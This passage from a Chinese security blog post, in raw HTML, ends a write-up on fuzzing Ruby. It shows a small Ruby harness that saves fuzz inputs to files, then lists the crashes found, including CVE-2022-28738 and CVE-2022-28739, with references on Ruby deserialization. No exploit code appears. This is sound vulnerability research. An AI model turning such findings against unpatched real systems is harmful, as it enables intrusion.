宋体;color:#9CDCFE;mso-font-kerning:0pt;">result</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> = </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4FC1FF;mso-font-kerning:0pt;">__dump</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(*</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">args</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">)</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">  
        </span><span lang="EN-US" style="mso-bidi-font-size:
10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:
宋体;color:#9CDCFE;mso-font-kerning:0pt;">uuid</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> = </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">SecureRandom</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">uuid</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">  
        </span><span lang="EN-US" style="mso-bidi-font-size:
10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:
宋体;color:#4EC9B0;mso-font-kerning:0pt;">File</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">open</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#34;/testcases/&#34;</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> + </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">uuid</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">, </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#39;wb&#39;</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">) {|</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">f</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">| </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">f</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">write</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">result</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">)}</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">  
        </span><span lang="EN-US" style="mso-bidi-font-size:
10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:
宋体;color:#9CDCFE;mso-font-kerning:0pt;">result</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">  
    </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">end</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">   </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">end</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#C586C0;mso-font-kerning:0pt;">end</span></p><p style="background: rgb(30, 30, 30);"><br/></p><p style=""><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">想要FUZZ其他模块也可以用同样办法来获取样本。</span></p><p style=""><br/></p><p style=""><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">经过一段时间的FUZZ，陆陆续续发现了一些漏洞：</span></p><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">1. CVE-2022-28738 doublefree in onig_reg_resize</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-backh="236" data-backw="578" data-galleryid="" data-ratio="0.40769903762029747" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1143" src="https://wechat2rss.xlab.app/img-proxy/?k=0a9852bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSMgy8TI9DoP3dtZLZPPgW51kJHfkes0RMAOzialiaKlLEQwr9fT11176Ih80Z1NQvyLZsxJsZWqF2g%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"></span></p><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">2. CVE-2022-28739 heap-buffer-overflow in strtod</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-backh="522" data-backw="578" data-galleryid="" data-ratio="0.9042735042735043" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="585" src="https://wechat2rss.xlab.app/img-proxy/?k=2718a0d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSMgy8TI9DoP3dtZLZPPgW5iaIQUvcbmmrNV7E1dBkBhGibZM7ULic0Etib3VfoFZfFRcq2q6JwegfTMg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">3. global-buffer-overflow calc_tm_yday</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-backh="307" data-backw="578" data-galleryid="" data-ratio="0.5311514195583596" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="2536" src="https://wechat2rss.xlab.app/img-proxy/?k=13665a50&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSMgy8TI9DoP3dtZLZPPgW56SavUmUtuTnpvS6NA7p9hPqE2sN88wdANQZ0ZOoUdLOWUicL5WMjTTA%2F640%3Fwx_fmt%3Dpng"/><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;text-indent: 0em;white-space: pre-wrap;"></span></p><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">4. dynamic-stack-buffer-overflow in renumber_by_map</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6236686390532544" data-s="300,640" style="" data-type="png" data-w="845" src="https://wechat2rss.xlab.app/img-proxy/?k=0b35d07d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSMgy8TI9DoP3dtZLZPPgW56icg9ZTVBBgrRtI9w6Z7Sib7gNsL2N8CaDEJHYRwInUHKX8q9tPbcKZQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">5. JSON.parse denial of service</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-backh="288" data-backw="578" data-galleryid="" data-ratio="0.49794661190965095" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1948" src="https://wechat2rss.xlab.app/img-proxy/?k=4a8278b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSMgy8TI9DoP3dtZLZPPgW5hyDu2vichlqFCZYOVicLYRZDibgnVL5odPRPJlTWW9HH4hdEv5FAq2IUw%2F640%3Fwx_fmt%3Dpng"/></p><p style=""><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">虽然FUZZ出了一些问题，但是依旧存在很多未解决的问题，比如FUZZ速度、效率、自动化等，未来将继续深入探索研究。</span></p><p style=""><br/></p><p style=""><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">以上是笔者在ruby中的一些学习研究汇总，如有不恰当之处，敬请斧正，一起交流学习。</span></p><h3 style=""><strong><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">参考链接</span></strong></h3><ul class="list-paddingleft-1"><li><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"><a href="https://hackerone.com/ruby/hacktivity" target="_blank">https://hackerone.com/ruby/hacktivity</a></span></p></li><li><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"><a href="https://bishopfox.com/blog/ruby-vulnerabilities-exploits" target="_blank">https://bishopfox.com/blog/ruby-vulnerabilities-exploits</a></span></p></li><li><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"><a href="https://zenn.dev/ooooooo_q/books/rails_deserialize" target="_blank">https://zenn.dev/ooooooo_q/books/rails_deserialize</a></span></p></li><li><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"><a href="http://gavinmiller.io/2016/the-safesty-way-to-constantize/" target="_blank">http://gavinmiller.io/2016/the-safesty-way-to-constantize/</a></span></p></li><li><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"><a href="https://github.com/haileys/old-website/blob/master/posts/rails-3.2.10-remote-code-execution.md" target="_blank">https://github.com/haileys/old-website/blob/master/posts/rails-3.2.10-remote-code-execution.md</a></span></p></li><li><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"><a href="https://www.elttam.com/blog/ruby-deserialization/" target="_blank">https://www.elttam.com/blog/ruby-deserialization/</a></span></p></li><li><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"><a href="https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html" target="_blank">https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html</a></span></p></li><li><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"><a href="https://bsidessf2018.sched.com/event/E6jC/fuzzing-ruby-and-c-extensions" target="_blank">https://bsidessf2018.sched.com/event/E6jC/fuzzing-ruby-and-c-extensions</a></span></p></li></ul><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"></span></p><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;"><section data-mid="" mpa-from-tpl="t" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: center;align-items: center;width: 677px;"><section data-mid="" mpa-from-tpl="t" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: center;align-items: center;"><section data-mid="" mpa-from-tpl="t" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 6px;height: 6px;transform: translateX(14px);"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;display: block;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d6229ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FasLg7via5ibAkf1mRkpS4IuZibZE5eeC0t8nibIZBfZEekibOEZVWyf9jHzIVvT2sTzKS1OtZzSBErxJUZXD1AwAAWw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section data-mid="" mpa-from-tpl="t" style="margin: 0px;padding: 0px 4px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: center;"><p data-mid="" style="margin: 0px;padding: 0px 16px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(27, 110, 201);line-height: 20px;border-bottom: 1px solid rgb(27, 110, 201);text-align: left;">往期回顾</p></section><section data-mid="" mpa-from-tpl="t" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 6px;height: 6px;transform: translateX(-14px);"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;display: block;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb9bc775&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicjDF5uGXY5ibE0P0Mtzns3KNb5hsCIKPfMIRultHDbmzgJcDaibI4wNKM6ZloyGRtRovyXtVdv3SuuVOcmA8gn8A%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section><h1 style="margin: 8px 0px 14px;padding: 0px;outline: 0px;font-weight: 400;font-size: 22px;line-height: 1.4;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484806&amp;idx=1&amp;sn=c9de71d7e2e645d5dcce48da185c4014&amp;chksm=c0ddfff7f7aa76e11d6a443f315bee9012b08742a0eb76c553556ef3eb74aca9bc54bf25d477&amp;scene=21#wechat_redirect" textvalue="基于RDP协议识别主机操作系统版本与用户名" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="font-size: 14px;">基于RDP协议识别主机操作系统版本与用户名</span></a></h1><h1 style="margin: 16px 0px 14px;padding: 0px;font-weight: 400;font-size: 22px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484767&amp;idx=1&amp;sn=ae1a98f8951112067d4688d57677f58d&amp;chksm=c0ddff2ef7aa76380e2a7bf47b0932036aa82d3d79d0a3ab51012cf07bd015f005b0bdda0995&amp;scene=21#wechat_redirect" textvalue="Chrome V8命令执行漏洞（CVE-2022-1310）分析" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="margin: 0px;padding: 0px;color: rgb(87, 107, 149);text-decoration: none;outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">Chrome V8命令执行漏洞（CVE-2022-1310）分析</span></a></h1><h1 style="margin: 16px 0px 14px;padding: 0px;outline: 0px;font-weight: 400;font-size: 22px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484734&amp;idx=1&amp;sn=cd777218ab931ba4fc520d5c4de058cb&amp;chksm=c0ddff4ff7aa7659b6175e495f1873ade8b2fca77969eb3b6d41c9e87f1a2d797c2bf414f7f0&amp;scene=21#wechat_redirect" textvalue="基于深度学习的主机操作系统识别" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="margin: 0px;padding: 0px;outline: 0px;color: rgb(87, 107, 149);text-decoration: none;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;">基于深度学习的主机操作系统识别</span></a></h1><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);text-align: center;"><br/></p><section style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43333333333333335" data-s="300,640" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 